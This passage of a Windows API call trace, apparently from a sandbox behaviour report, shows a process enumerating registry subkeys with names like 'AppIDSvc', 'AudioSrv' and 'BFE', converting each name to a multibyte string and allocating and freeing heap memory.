BaseAddress=0x21f2eb0) returned 1 [0236.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0236.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.477] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0236.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0236.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.477] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0236.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0236.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.478] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.478] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.478] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.478] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0236.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.479] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.479] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1850, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.479] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.479] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0236.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.480] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.480] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.480] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0236.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.480] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.481] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.481] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", 